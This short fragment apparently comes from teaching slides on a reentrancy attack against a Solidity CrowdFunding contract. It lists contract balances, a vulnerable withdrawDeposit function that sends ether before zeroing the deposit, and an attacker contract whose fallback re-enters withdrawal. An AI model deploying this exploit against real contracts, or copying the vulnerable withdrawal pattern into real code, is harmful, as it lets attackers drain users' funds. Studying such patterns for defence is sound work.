balance of
CrowdFundingExploit

2 ⬧

balance of
CrowdFunding

6 ⬧

value of
deposit[CrowdFundingExploit]

1 ⬧

```solidity
function withdrawDeposit() public {
    require(deposit[msg.sender] ≠ 0);
    msg.sender.call.value(deposit[msg.sender])();
    deposit[msg.sender] = 0;
}
```

```solidity
function () public payable {
    if(gasleft() > 100000){
        CrowdFunding(msg.sender).withdrawDeposit();
    }
}
```

```solidity
function withdrawDeposit() public {
    require(deposit[msg.sender] ≠ 0);
    msg.sender.call.value(deposit[msg.sender])();
    deposit[msg.sender] = 0;
}
```

```solidity
function attack(CrowdFunding cf) public {
    cf.withdrawDeposit();
}
```